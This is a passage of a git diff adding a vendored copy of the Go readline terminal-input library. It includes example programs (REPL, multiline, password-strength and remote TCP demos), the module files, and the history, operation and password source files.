readline.PcItem("-vv"), + readline.PcItem("-vvv"), + ), + readline.PcItem("test"), + ), + readline.PcItem("sleep"), +) + +func filterInput(r rune) (rune, bool) { + switch r { + // block CtrlZ feature + case readline.CharCtrlZ: + return r, false + } + return r, true +} + +func main() { + l, err := readline.NewEx(&readline.Config{ + Prompt: "\033[31m»\033[0m ", + HistoryFile: "/tmp/readline.tmp", + AutoComplete: completer, + InterruptPrompt: "^C", + EOFPrompt: "exit", + + HistorySearchFold: true, + FuncFilterInputRune: filterInput, + }) + if err != nil { + panic(err) + } + defer l.Close() + + setPasswordCfg := l.GenPasswordConfig() + setPasswordCfg.SetListener(func(line []rune, pos int, key rune) (newLine []rune, newPos int, ok bool) { + l.SetPrompt(fmt.Sprintf("Enter password(%v): ", len(line))) + l.Refresh() + return nil, 0, false + }) + + log.SetOutput(l.Stderr()) + for { + line, err := l.Readline() + if err == readline.ErrInterrupt { + if len(line) == 0 { + break + } else { + continue + } + } else if err == io.EOF { + break + } + + line = strings.TrimSpace(line) + switch { + case strings.HasPrefix(line, "mode "): + switch line[5:] { + case "vi": + l.SetVimMode(true) + case "emacs": + l.SetVimMode(false) + default: + println("invalid mode:", line[5:]) + } + case line == "mode": + if l.IsVimMode() { + println("current mode: vim") + } else { + println("current mode: emacs") + } + case line == "login": + pswd, err := l.ReadPassword("please enter your password: ") + if err != nil { + break + } + println("you enter:", strconv.Quote(string(pswd))) + case line == "help": + usage(l.Stderr()) + case line == "setpassword": + pswd, err := l.ReadPasswordWithConfig(setPasswordCfg) + if err == nil { + println("you set:", strconv.Quote(string(pswd))) + } + case strings.HasPrefix(line, "setprompt"): + if len(line) <= 10 { + log.Println("setprompt ") + break + } + l.SetPrompt(line[10:]) + case strings.HasPrefix(line, "say"): + line := strings.TrimSpace(line[3:]) + if len(line) == 0 { + log.Println("say what?") + break + } + go func() { + for range time.Tick(time.Second) { + log.Println(line) + } + }() + case line == "bye": + goto exit + case line == "sleep": + log.Println("sleep 4 second") + time.Sleep(4 * time.Second) + case line == "": + default: + log.Println("you said:", strconv.Quote(line)) + } + } +exit: +} diff --git a/readline/example/readline-im/README.md b/readline/example/readline-im/README.md new file mode 100644 index 0000000..2d29212 --- /dev/null +++ b/readline/example/readline-im/README.md @@ -0,0 +1,3 @@ +# readline-im + +![readline-im](https://dl.dropboxusercontent.com/s/52hc7bo92g3pgi5/03F93B8D-9B4B-4D35-BBAA-22FBDAC7F299-26173-000164AA33980001.gif?dl=0) diff --git a/readline/example/readline-im/readline-im.go b/readline/example/readline-im/readline-im.go new file mode 100644 index 0000000..16803bd --- /dev/null +++ b/readline/example/readline-im/readline-im.go @@ -0,0 +1,60 @@ +package main + +import ( + "fmt" + "math/rand" + "time" + + "github.com/chzyer/readline" +) +import "log" + +func main() { + rl, err := readline.NewEx(&readline.Config{ + UniqueEditLine: true, + }) + if err != nil { + panic(err) + } + defer rl.Close() + + rl.SetPrompt("username: ") + username, err := rl.Readline() + if err != nil { + return + } + rl.ResetHistory() + log.SetOutput(rl.Stderr()) + + fmt.Fprintln(rl, "Hi,", username+"! My name is Dave.") + rl.SetPrompt(username + "> ") + + done := make(chan struct{}) + go func() { + rand.Seed(time.Now().Unix()) + loop: + for { + select { + case <-time.After(time.Duration(rand.Intn(20)) * 100 * time.Millisecond): + case <-done: + break loop + } + log.Println("Dave:", "hello") + } + log.Println("Dave:", "bye") + done <- struct{}{} + }() + + for { + ln := rl.Line() + if ln.CanContinue() { + continue + } else if ln.CanBreak() { + break + } + log.Println(username+":", ln.Line) + } + rl.Clean() + done <- struct{}{} + <-done +} diff --git a/readline/example/readline-multiline/readline-multiline.go b/readline/example/readline-multiline/readline-multiline.go new file mode 100644 index 0000000..2192cf6 --- /dev/null +++ b/readline/example/readline-multiline/readline-multiline.go @@ -0,0 +1,41 @@ +package main + +import ( + "strings" + + "github.com/chzyer/readline" +) + +func main() { + rl, err := readline.NewEx(&readline.Config{ + Prompt: "> ", + HistoryFile: "/tmp/readline-multiline", + DisableAutoSaveHistory: true, + }) + if err != nil { + panic(err) + } + defer rl.Close() + + var cmds []string + for { + line, err := rl.Readline() + if err != nil { + break + } + line = strings.TrimSpace(line) + if len(line) == 0 { + continue + } + cmds = append(cmds, line) + if !strings.HasSuffix(line, ";") { + rl.SetPrompt(">>> ") + continue + } + cmd := strings.Join(cmds, " ") + cmds = cmds[:0] + rl.SetPrompt("> ") + rl.SaveHistory(cmd) + println(cmd) + } +} diff --git a/readline/example/readline-pass-strength/readline-pass-strength.go b/readline/example/readline-pass-strength/readline-pass-strength.go new file mode 100644 index 0000000..afcef45 --- /dev/null +++ b/readline/example/readline-pass-strength/readline-pass-strength.go @@ -0,0 +1,102 @@ +// This is a small example using readline to read a password +// and check it's strength while typing using the zxcvbn library. +// Depending on the strength the prompt is colored nicely to indicate strength. +// +// This file is licensed under the WTFPL: +// +// DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE +// Version 2, December 2004 +// +// Copyright (C) 2004 Sam Hocevar +// +// Everyone is permitted to copy and distribute verbatim or modified +// copies of this license document, and changing it is allowed as long +// as the name is changed. +// +// DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE +// TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION +// +// 0. You just DO WHAT THE FUCK YOU WANT TO. +package main + +import ( + "fmt" + + "github.com/chzyer/readline" + zxcvbn "github.com/nbutton23/zxcvbn-go" +) + +const ( + Cyan = 36 + Green = 32 + Magenta = 35 + Red = 31 + Yellow = 33 + BackgroundRed = 41 +) + +// Reset sequence +var ColorResetEscape = "\033[0m" + +// ColorResetEscape translates a ANSI color number to a color escape. +func ColorEscape(color int) string { + return fmt.Sprintf("\033[0;%dm", color) +} + +// Colorize the msg using ANSI color escapes +func Colorize(msg string, color int) string { + return ColorEscape(color) + msg + ColorResetEscape +} + +func createStrengthPrompt(password []rune) string { + symbol, color := "", Red + strength := zxcvbn.PasswordStrength(string(password), nil) + + switch { + case strength.Score <= 1: + symbol = "✗" + color = Red + case strength.Score <= 2: + symbol = "⚡" + color = Magenta + case strength.Score <= 3: + symbol = "⚠" + color = Yellow + case strength.Score <= 4: + symbol = "✔" + color = Green + } + + prompt := Colorize(symbol, color) + if strength.Entropy > 0 { + entropy := fmt.Sprintf(" %3.0f", strength.Entropy) + prompt += Colorize(entropy, Cyan) + } else { + prompt += Colorize(" ENT", Cyan) + } + + prompt += Colorize(" New Password: ", color) + return prompt +} + +func main() { + rl, err := readline.New("") + if err != nil { + return + } + defer rl.Close() + + setPasswordCfg := rl.GenPasswordConfig() + setPasswordCfg.SetListener(func(line []rune, pos int, key rune) (newLine []rune, newPos int, ok bool) { + rl.SetPrompt(createStrengthPrompt(line)) + rl.Refresh() + return nil, 0, false + }) + + pswd, err := rl.ReadPasswordWithConfig(setPasswordCfg) + if err != nil { + return + } + + fmt.Println("Your password was:", string(pswd)) +} diff --git a/readline/example/readline-remote/readline-remote-client/client.go b/readline/example/readline-remote/readline-remote-client/client.go new file mode 100644 index 0000000..3b7ff31 --- /dev/null +++ b/readline/example/readline-remote/readline-remote-client/client.go @@ -0,0 +1,9 @@ +package main + +import "github.com/chzyer/readline" + +func main() { + if err := readline.DialRemote("tcp", ":12344"); err != nil { + println(err.Error()) + } +} diff --git a/readline/example/readline-remote/readline-remote-server/server.go b/readline/example/readline-remote/readline-remote-server/server.go new file mode 100644 index 0000000..38abc7d --- /dev/null +++ b/readline/example/readline-remote/readline-remote-server/server.go @@ -0,0 +1,26 @@ +package main + +import ( + "fmt" + + "github.com/chzyer/readline" +) + +func main() { + cfg := &readline.Config{ + Prompt: "readline-remote: ", + } + handleFunc := func(rl *readline.Instance) { + for { + line, err := rl.Readline() + if err != nil { + break + } + fmt.Fprintln(rl.Stdout(), "receive:"+line) + } + } + err := readline.ListenRemote("tcp", ":12344", cfg, handleFunc) + if err != nil { + println(err.Error()) + } +} diff --git a/readline/go.mod b/readline/go.mod new file mode 100644 index 0000000..8f86cf1 --- /dev/null +++ b/readline/go.mod @@ -0,0 +1,9 @@ +module github.com/abiosoft/readline + +go 1.15 + +require ( + github.com/chzyer/test v1.0.0 + github.com/nbutton23/zxcvbn-go v0.0.0-20210217022336-fa2cb2858354 + golang.org/x/sys v0.0.0-20220310020820-b874c991c1a5 +) diff --git a/readline/go.sum b/readline/go.sum new file mode 100644 index 0000000..4b8e5c6 --- /dev/null +++ b/readline/go.sum @@ -0,0 +1,14 @@ +github.com/chzyer/logex v1.2.1 h1:XHDu3E6q+gdHgsdTPH6ImJMIp436vR6MPtH8gP05QzM= +github.com/chzyer/logex v1.2.1/go.mod h1:JLbx6lG2kDbNRFnfkgvh4eRJRPX1QCoOIWomwysCBrQ= +github.com/chzyer/test v1.0.0 h1:p3BQDXSxOhOG0P9z6/hGnII4LGiEPOYBhs8asl/fC04= +github.com/chzyer/test v1.0.0/go.mod h1:2JlltgoNkt4TW/z9V/IzDdFaMTM2JPIi26O1pF38GC8= +github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/nbutton23/zxcvbn-go v0.0.0-20210217022336-fa2cb2858354 h1:4kuARK6Y6FxaNu/BnU2OAaLF86eTVhP2hjTB6iMvItA= +github.com/nbutton23/zxcvbn-go v0.0.0-20210217022336-fa2cb2858354/go.mod h1:KSVJerMDfblTH7p5MZaTt+8zaT2iEk3AkVb9PQdZuE8= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/stretchr/testify v1.1.4 h1:ToftOQTytwshuOSj6bDSolVUa3GINfJP/fg3OkkOzQQ= +github.com/stretchr/testify v1.1.4/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= +golang.org/x/sys v0.0.0-20220310020820-b874c991c1a5 h1:y/woIyUBFbpQGKS0u1aHF/40WUDnek3fPOyD08H5Vng= +golang.org/x/sys v0.0.0-20220310020820-b874c991c1a5/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= diff --git a/readline/history.go b/readline/history.go new file mode 100644 index 0000000..c898940 --- /dev/null +++ b/readline/history.go @@ -0,0 +1,332 @@ +package readline + +import ( + "bufio" + "container/list" + "fmt" + "os" + "strings" + "sync" +) + +type hisItem struct { + Source []rune + Version int64 + Tmp []rune +} + +func (h *hisItem) Clean() { + h.Source = nil + h.Tmp = nil +} + +type opHistory struct { + cfg *Config + history *list.List + historyVer int64 + current *list.Element + fd *os.File + fdLock sync.Mutex + enable bool +} + +func newOpHistory(cfg *Config) (o *opHistory) { + o = &opHistory{ + cfg: cfg, + history: list.New(), + enable: true, + } + return o +} + +func (o *opHistory) Reset() { + o.history = list.New() + o.current = nil +} + +func (o *opHistory) IsHistoryClosed() bool { + o.fdLock.Lock() + defer o.fdLock.Unlock() + return o.fd.Fd() == ^(uintptr(0)) +} + +func (o *opHistory) Init() { + if o.IsHistoryClosed() { + o.initHistory() + } +} + +func (o *opHistory) initHistory() { + if o.cfg.HistoryFile != "" { + o.historyUpdatePath(o.cfg.HistoryFile) + } +} + +// only called by newOpHistory +func (o *opHistory) historyUpdatePath(path string) { + o.fdLock.Lock() + defer o.fdLock.Unlock() + f, err := os.OpenFile(path, os.O_APPEND|os.O_CREATE|os.O_RDWR, 0666) + if err != nil { + return + } + o.fd = f + r := bufio.NewReader(o.fd) + total := 0 + for ; ; total++ { + line, err := r.ReadString('\n') + if err != nil { + break + } + // ignore the empty line + line = strings.TrimSpace(line) + if len(line) == 0 { + continue + } + o.Push([]rune(line)) + o.Compact() + } + if total > o.cfg.HistoryLimit { + o.rewriteLocked() + } + o.historyVer++ + o.Push(nil) + return +} + +func (o *opHistory) Compact() { + for o.history.Len() > o.cfg.HistoryLimit && o.history.Len() > 0 { + o.history.Remove(o.history.Front()) + } +} + +func (o *opHistory) Rewrite() { + o.fdLock.Lock() + defer o.fdLock.Unlock() + o.rewriteLocked() +} + +func (o *opHistory) rewriteLocked() { + if o.cfg.HistoryFile == "" { + return + } + + tmpFile := o.cfg.HistoryFile + ".tmp" + fd, err := os.OpenFile(tmpFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC|os.O_APPEND, 0666) + if err != nil { + return + } + + buf := bufio.NewWriter(fd) + for elem := o.history.Front(); elem != nil; elem = elem.Next() { + buf.WriteString(string(elem.Value.(*hisItem).Source) + "\n") + } + buf.Flush() + + // replace history file + if err = os.Rename(tmpFile, o.cfg.HistoryFile); err != nil { + fd.Close() + return + } + + if o.fd != nil { + o.fd.Close() + } + // fd is write only, just satisfy what we need. + o.fd = fd +} + +func (o *opHistory) Close() { + o.fdLock.Lock() + defer o.fdLock.Unlock() + if o.fd != nil { + o.fd.Close() + } +} + +func (o *opHistory) FindBck(isNewSearch bool, rs []rune, start int) (int, *list.Element) { + for elem := o.current; elem != nil; elem = elem.Prev() { + item := o.showItem(elem.Value) + if isNewSearch { + start += len(rs) + } + if elem == o.current { + if len(item) >= start { + item = item[:start] + } + } + idx := runes.IndexAllBckEx(item, rs, o.cfg.HistorySearchFold) + if idx < 0 { + continue + } + return idx, elem + } + return -1, nil +} + +func (o *opHistory) FindFwd(isNewSearch bool, rs []rune, start int) (int, *list.Element) { + for elem := o.current; elem != nil; elem = elem.Next() { + item := o.showItem(elem.Value) + if isNewSearch { + start -= len(rs) + if start < 0 { + start = 0 + } + } + if elem == o.current { + if len(item)-1 >= start { + item = item[start:] + } else { + continue + } + } + idx := runes.IndexAllEx(item, rs, o.cfg.HistorySearchFold) + if idx < 0 { + continue + } + if elem == o.current { + idx += start + } + return idx, elem + } + return -1, nil +} + +func (o *opHistory) showItem(obj interface{}) []rune { + item := obj.(*hisItem) + if item.Version == o.historyVer { + return item.Tmp + } + return item.Source +} + +func (o *opHistory) Prev() []rune { + if o.current == nil { + return nil + } + current := o.current.Prev() + if current == nil { + return nil + } + o.current = current + return runes.Copy(o.showItem(current.Value)) +} + +func (o *opHistory) Next() ([]rune, bool) { + if o.current == nil { + return nil, false + } + current := o.current.Next() + if current == nil { + return nil, false + } + + o.current = current + return runes.Copy(o.showItem(current.Value)), true +} + +// Disable the current history +func (o *opHistory) Disable() { + o.enable = false +} + +// Enable the current history +func (o *opHistory) Enable() { + o.enable = true +} + +func (o *opHistory) debug() { + Debug("-------") + for item := o.history.Front(); item != nil; item = item.Next() { + Debug(fmt.Sprintf("%+v", item.Value)) + } +} + +// save history +func (o *opHistory) New(current []rune) (err error) { + + // history deactivated + if !o.enable { + return nil + } + + current = runes.Copy(current) + + // if just use last command without modify + // just clean lastest history + if back := o.history.Back(); back != nil { + prev := back.Prev() + if prev != nil { + if runes.Equal(current, prev.Value.(*hisItem).Source) { + o.current = o.history.Back() + o.current.Value.(*hisItem).Clean() + o.historyVer++ + return nil + } + } + } + + if len(current) == 0 { + o.current = o.history.Back() + if o.current != nil { + o.current.Value.(*hisItem).Clean() + o.historyVer++ + return nil + } + } + + if o.current != o.history.Back() { + // move history item to current command + currentItem := o.current.Value.(*hisItem) + // set current to last item + o.current = o.history.Back() + + current = runes.Copy(currentItem.Tmp) + } + + // err only can be a IO error, just report + err = o.Update(current, true) + + // push a new one to commit current command + o.historyVer++ + o.Push(nil) + return +} + +func (o *opHistory) Revert() { + o.historyVer++ + o.current = o.history.Back() +} + +func (o *opHistory) Update(s []rune, commit bool) (err error) { + o.fdLock.Lock() + defer o.fdLock.Unlock() + s = runes.Copy(s) + if o.current == nil { + + o.Push(s) + o.Compact() + return + } + + r := o.current.Value.(*hisItem) + r.Version = o.historyVer + if commit { + r.Source = s + if o.fd != nil { + // just report the error + _, err = o.fd.Write([]byte(string(r.Source) + "\n")) + } + } else { + r.Tmp = append(r.Tmp[:0], s...) + } + o.current.Value = r + o.Compact() + return +} + +func (o *opHistory) Push(s []rune) { + s = runes.Copy(s) + elem := o.history.PushBack(&hisItem{Source: s}) + o.current = elem +} diff --git a/readline/operation.go b/readline/operation.go new file mode 100644 index 0000000..ea06531 --- /dev/null +++ b/readline/operation.go @@ -0,0 +1,595 @@ +package readline + +import ( + "bytes" + "errors" + "fmt" + "io" + "sync" +) + +var ( + ErrInterrupt = errors.New("Interrupt") +) + +type InterruptError struct { + Line []rune +} + +func (*InterruptError) Error() string { + return "Interrupted" +} + +type Operation struct { + m sync.Mutex + cfg *Config + t *Terminal + buf *RuneBuffer + outchan chan []rune + errchan chan error + w io.Writer + + history *opHistory + *opSearch + *opCompleter + *opPassword + *opVim +} + +func (o *Operation) SetBuffer(what string) { + o.buf.Set([]rune(what)) +} + +type wrapWriter struct { + r *Operation + t *Terminal + target io.Writer +} + +func (w *wrapWriter) Write(b []byte) (int, error) { + if !w.t.IsReading() { + return w.target.Write(b) + } + + var ( + n int + err error + ) + w.r.buf.Refresh(func() { + n, err = w.target.Write(b) + }) + + if w.r.IsSearchMode() { + w.r.SearchRefresh(-1) + } + if w.r.IsInCompleteMode() { + w.r.CompleteRefresh() + } + return n, err +} + +func NewOperation(t *Terminal, cfg *Config) *Operation { + width := cfg.FuncGetWidth() + op := &Operation{ + t: t, + buf: NewRuneBuffer(t, cfg.Prompt, cfg, width), + outchan: make(chan []rune), + errchan: make(chan error, 1), + } + op.w = op.buf.w + op.SetConfig(cfg) + op.opVim = newVimMode(op) + op.opCompleter = newOpCompleter(op.buf.w, op, width) + op.opPassword = newOpPassword(op) + op.cfg.FuncOnWidthChanged(func() { + newWidth := cfg.FuncGetWidth() + op.opCompleter.OnWidthChange(newWidth) + op.opSearch.OnWidthChange(newWidth) + op.buf.OnWidthChange(newWidth) + }) + go op.ioloop() + return op +} + +func (o *Operation) SetPrompt(s string) { + o.buf.SetPrompt(s) +} + +func (o *Operation) SetMaskRune(r rune) { + o.buf.SetMask(r) +} + +func (o *Operation) GetConfig() *Config { + o.m.Lock() + cfg := *o.cfg + o.m.Unlock() + return &cfg +} + +func (o *Operation) ioloop() { + for { + keepInSearchMode := false + keepInCompleteMode := false + r := o.t.ReadRune() + + if o.GetConfig().FuncFilterInputRune != nil { + var process bool + r, process = o.GetConfig().FuncFilterInputRune(r) + if !process { + o.t.KickRead() + o.buf.Refresh(nil) // to refresh the line + continue // ignore this rune + } + } + + if r == 0 { // io.EOF + if o.buf.Len() == 0 { + o.buf.Clean() + select { + case o.errchan <- io.EOF: + } + break + } else { + // if stdin got io.EOF and there is something left in buffer, + // let's flush them by sending CharEnter. + // And we will got io.EOF int next loop. + r = CharEnter + } + } + isUpdateHistory := true + + if o.IsInCompleteSelectMode() { + keepInCompleteMode = o.HandleCompleteSelect(r) + if keepInCompleteMode { + continue + } + + o.buf.Refresh(nil) + switch r { + case CharEnter, CharCtrlJ: + o.history.Update(o.buf.Runes(), false) + fallthrough + case CharInterrupt: + o.t.KickRead() + fallthrough + case CharBell: + continue + } + } + + if o.IsEnableVimMode() { + r = o.HandleVim(r, o.t.ReadRune) + if r == 0 { + continue + } + } + + switch r { + case CharBell: + if o.IsSearchMode() { + o.ExitSearchMode(true) + o.buf.Refresh(nil) + } + if o.IsInCompleteMode() { + o.ExitCompleteMode(true) + o.buf.Refresh(nil) + } + case CharTab: + if o.GetConfig().AutoComplete == nil { + o.t.Bell() + break + } + if o.OnComplete() { + keepInCompleteMode = true + } else { + o.t.Bell() + break + } + + case CharBckSearch: + if !o.SearchMode(S_DIR_BCK) { + o.t.Bell() + break + } + keepInSearchMode = true + case CharCtrlU: + o.buf.KillFront() + case CharFwdSearch: + if !o.SearchMode(S_DIR_FWD) { + o.t.Bell() + break + } + keepInSearchMode = true + case CharKill: + o.buf.Kill() + keepInCompleteMode = true + case MetaForward: + o.buf.MoveToNextWord() + case CharTranspose: + o.buf.Transpose() + case MetaBackward: + o.buf.MoveToPrevWord() + case MetaDelete: + o.buf.DeleteWord() + case CharLineStart: + o.buf.MoveToLineStart() + case CharLineEnd: + o.buf.MoveToLineEnd() + case CharBackspace, CharCtrlH: + if o.IsSearchMode() { + o.SearchBackspace() + keepInSearchMode = true + break + } + + if o.buf.Len() == 0 { + o.t.Bell() + break + } + + o.buf.Backspace() + if o.IsInCompleteMode() { + o.OnComplete() + } + case CharCtrlZ: + o.buf.Clean() + o.t.SleepToResume() + o.Refresh() + case CharCtrlL: + ClearScreen(o.w) + o.Refresh() + case MetaBackspace, CharCtrlW: + o.buf.BackEscapeWord() + case CharCtrlY: + o.buf.Yank() + case CharEnter, CharCtrlJ: + if o.IsSearchMode() { + o.ExitSearchMode(false) + } + o.buf.MoveToLineEnd() + var data []rune + if !o.GetConfig().UniqueEditLine { + if o.buf.cfg.ForcePrint { + o.buf.Refresh(func() { + fmt.Print(string(bytes.Repeat([]byte{8}, o.buf.idx))) + }) + data = o.buf.Reset() + data = data[:len(data)] + } else { + o.buf.WriteRune('\n') + data = o.buf.Reset() + data = data[:len(data)-1] // trim \n + } + + } else { + + o.buf.Clean() + data = o.buf.Reset() + } + o.outchan <- data + if !o.GetConfig().DisableAutoSaveHistory { + // ignore IO error + _ = o.history.New(data) + } else { + isUpdateHistory = false + } + case CharBackward: + + o.buf.MoveBackward() + + case CharForward: + o.buf.MoveForward() + case CharPrev: + if o.buf.cfg.ForcePrint { + continue + } + buf := o.history.Prev() + if buf != nil { + o.buf.Set(buf) + } else { + o.t.Bell() + } + case CharNext: + if o.buf.cfg.ForcePrint { + continue + } + buf, ok := o.history.Next() + if ok { + o.buf.Set(buf) + } else { + o.t.Bell() + } + case CharDelete: + + if o.buf.Len() > 0 || !o.IsNormalMode() { + o.t.KickRead() + if !o.buf.Delete() { + o.t.Bell() + } + break + } + + // treat as EOF + if !o.GetConfig().UniqueEditLine { + o.buf.WriteString(o.GetConfig().EOFPrompt + "\n") + } + o.buf.Reset() + isUpdateHistory = false + o.history.Revert() + o.errchan <- io.EOF + if o.GetConfig().UniqueEditLine { + o.buf.Clean() + } + case CharInterrupt: + if o.IsSearchMode() { + o.t.KickRead() + o.ExitSearchMode(true) + break + } + if o.IsInCompleteMode() { + o.t.KickRead() + o.ExitCompleteMode(true) + o.buf.Refresh(nil) + break + } + o.buf.MoveToLineEnd() + o.buf.Refresh(nil) + hint := o.GetConfig().InterruptPrompt + "\n" + if !o.GetConfig().UniqueEditLine { + o.buf.WriteString(hint) + } + remain := o.buf.Reset() + if !o.GetConfig().UniqueEditLine { + remain = remain[:len(remain)-len([]rune(hint))] + } + isUpdateHistory = false + o.history.Revert() + o.errchan <- &InterruptError{remain} + default: + if o.IsSearchMode() { + o.SearchChar(r) + keepInSearchMode = true + break + } + o.buf.WriteRune(r) + if o.IsInCompleteMode() { + o.OnComplete() + keepInCompleteMode = true + } + } + + listener := o.GetConfig().Listener + if listener != nil { + newLine, newPos, ok := listener.OnChange(o.buf.Runes(), o.buf.Pos(), r) + + if ok { + o.buf.SetWithIdx(newPos, newLine) + } + } + + o.m.Lock() + if !keepInSearchMode && o.IsSearchMode() { + + o.ExitSearchMode(false) + o.buf.Refresh(nil) + } else if o.IsInCompleteMode() { + + if !keepInCompleteMode { + + o.ExitCompleteMode(false) + o.Refresh() + } else { + + o.buf.Refresh(nil) + o.CompleteRefresh() + } + } + if isUpdateHistory && !o.IsSearchMode() { + + // it will cause null history + o.history.Update(o.buf.Runes(), false) + } + o.m.Unlock() + } +} + +func (o *Operation) Stderr() io.Writer { + return &wrapWriter{target: o.GetConfig().Stderr, r: o, t: o.t} +} + +func (o *Operation) Stdout() io.Writer { + return &wrapWriter{target: o.GetConfig().Stdout, r: o, t: o.t} +} + +func (o *Operation) String() (string, error) { + r, err := o.Runes() + return string(r), err +} +func (o *Operation) StringEx() (string, error) { + r, err := func() ([]rune, error) { + + o.t.EnterRawMode() + defer o.t.ExitRawMode() + + listener := o.GetConfig().Listener + if listener != nil { + listener.OnChange(nil, 0, 0) + } + func() { + o.buf.Lock() + defer o.buf.Unlock() + + o.buf.print() + + }() + + o.t.KickRead() + select { + case r := <-o.outchan: + return r, nil + case err := <-o.errchan: + if e, ok := err.(*InterruptError); ok { + return e.Line, ErrInterrupt + } + return nil, err + } + }() + return string(r), err +} +func (o *Operation) Runes() ([]rune, error) { + o.t.EnterRawMode() + defer o.t.ExitRawMode() + + listener := o.GetConfig().Listener + if listener != nil { + listener.OnChange(nil, 0, 0) + } + + o.buf.Refresh(nil) // print prompt + o.t.KickRead() + select { + case r := <-o.outchan: + return r, nil + case err := <-o.errchan: + if e, ok := err.(*InterruptError); ok { + return e.Line, ErrInterrupt + } + return nil, err + } +} + +func (o *Operation) PasswordEx(prompt string, l Listener) ([]byte, error) { + cfg := o.GenPasswordConfig() + cfg.Prompt = prompt + cfg.Listener = l + return o.PasswordWithConfig(cfg) +} + +func (o *Operation) GenPasswordConfig() *Config { + return o.opPassword.PasswordConfig() +} + +func (o *Operation) PasswordWithConfig(cfg *Config) ([]byte, error) { + if err := o.opPassword.EnterPasswordMode(cfg); err != nil { + return nil, err + } + defer o.opPassword.ExitPasswordMode() + return o.Slice() +} + +func (o *Operation) Password(prompt string) ([]byte, error) { + return o.PasswordEx(prompt, nil) +} + +func (o *Operation) SetTitle(t string) { + o.w.Write([]byte("\033[2;" + t + "\007")) +} + +func (o *Operation) Slice() ([]byte, error) { + r, err := o.Runes() + if err != nil { + return nil, err + } + return []byte(string(r)), nil +} + +func (o *Operation) Close() { + select { + case o.errchan <- io.EOF: + default: + } + o.history.Close() +} + +func (o *Operation) SetHistoryPath(path string) { + if o.history != nil { + o.history.Close() + } + o.cfg.HistoryFile = path + o.history = newOpHistory(o.cfg) +} + +func (o *Operation) IsNormalMode() bool { + return !o.IsInCompleteMode() && !o.IsSearchMode() +} + +func (op *Operation) SetConfig(cfg *Config) (*Config, error) { + op.m.Lock() + defer op.m.Unlock() + if op.cfg == cfg { + return op.cfg, nil + } + if err := cfg.Init(); err != nil { + return op.cfg, err + } + old := op.cfg + op.cfg = cfg + op.SetPrompt(cfg.Prompt) + op.SetMaskRune(cfg.MaskRune) + op.buf.SetConfig(cfg) + width := op.cfg.FuncGetWidth() + + if cfg.opHistory == nil { + op.SetHistoryPath(cfg.HistoryFile) + cfg.opHistory = op.history + cfg.opSearch = newOpSearch(op.buf.w, op.buf, op.history, cfg, width) + } + op.history = cfg.opHistory + + // SetHistoryPath will close opHistory which already exists + // so if we use it next time, we need to reopen it by `InitHistory()` + op.history.Init() + + if op.cfg.AutoComplete != nil { + op.opCompleter = newOpCompleter(op.buf.w, op, width) + } + + op.opSearch = cfg.opSearch + return old, nil +} + +func (o *Operation) ResetHistory() { + o.history.Reset() +} + +// if err is not nil, it just mean it fail to write to file +// other things goes fine. +func (o *Operation) SaveHistory(content string) error { + return o.history.New([]rune(content)) +} + +func (o *Operation) Refresh() { + if o.t.IsReading() { + o.buf.Refresh(nil) + } +} + +func (o *Operation) Clean() { + o.buf.Clean() +} + +func FuncListener(f func(line []rune, pos int, key rune) (newLine []rune, newPos int, ok bool)) Listener { + return &DumpListener{f: f} +} + +type DumpListener struct { + f func(line []rune, pos int, key rune) (newLine []rune, newPos int, ok bool) +} + +func (d *DumpListener) OnChange(line []rune, pos int, key rune) (newLine []rune, newPos int, ok bool) { + return d.f(line, pos, key) +} + +type Listener interface { + OnChange(line []rune, pos int, key rune) (newLine []rune, newPos int, ok bool) +} + +type Painter interface { + Paint(line []rune, pos int) []rune +} + +type defaultPainter struct{} + +func (p *defaultPainter) Paint(line []rune, _ int) []rune { + return line +} diff --git a/readline/password.go b/readline/password.go new file mode 100644 index 0000000..414288c --- /dev/null +++ b/readline/password.go @@ -0,0 +1,33 @@ +package readline + +type opPassword struct { + o *Operation + backupCfg *Config +} + +func newOpPassword(o *Operation) *opPassword { + return &opPassword{o: o} +} + +func (o *opPassword) ExitPasswordMode() { + o.o.SetConfig(o.backupCfg) + o.backupCfg = nil +} + +func (o *opPassword) EnterPasswordMode(cfg *Config) (err error) { + o.backupCfg, err = o.o.SetConfig(cfg) + return +} + +func (o *opPassword) PasswordConfig() *Config { + return &Config{ + EnableMask: true, + InterruptPrompt: "\n", + EOFPrompt: "\n", + HistoryLimit: -1, + Painter: &defaultPainter{}, + + Stdout: o.o.cfg.Stdout, + Stderr: o.o.cfg.Stderr, + } +} diff --git a/readline/rawreader_windows.go b/readline/rawreader_windows.go new file mode 100644 index 0000000..073ef15 --- /dev/null +++ b/readline/rawreader_windows.go @@ -0,0 +1,125 @@ +// +build windows + +package readline + +import "unsafe" + +const ( + VK_CANCEL = 0x03 + VK_BACK = 0x08 + VK_TAB = 0x09 + VK_RETURN = 0x0D + VK_SHIFT = 0x10 + VK_CONTROL = 0x11 + VK_MENU = 0x12 + VK_ESCAPE = 0x1B + VK_LEFT = 0x25 + VK_UP = 0x26 + VK_RIGHT = 0x27 + VK_DOWN = 0x28 + VK_DELETE = 0x2E + VK_LSHIFT = 0xA0 + VK_RSHIFT = 0xA1 + VK_LCONTROL = 0xA2 + VK_RCONTROL = 0xA3 +) + +// RawReader translate input record to ANSI escape sequence. +// To provides same behavior as unix terminal. +type RawReader struct { + ctrlKey bool + altKey bool +} + +func NewRawReader() *RawReader { + r := new(RawReader) + return r +} + +// only process one action in one read +func (r *RawReader) Read(buf []byte) (int, error) { + ir := new(_INPUT_RECORD) + var read int + var err error +next: + err = kernel.ReadConsoleInputW(stdin, + uintptr(unsafe.Pointer(ir)), + 1, + uintptr(unsafe.Pointer(&read)), + ) + if err != nil { + return 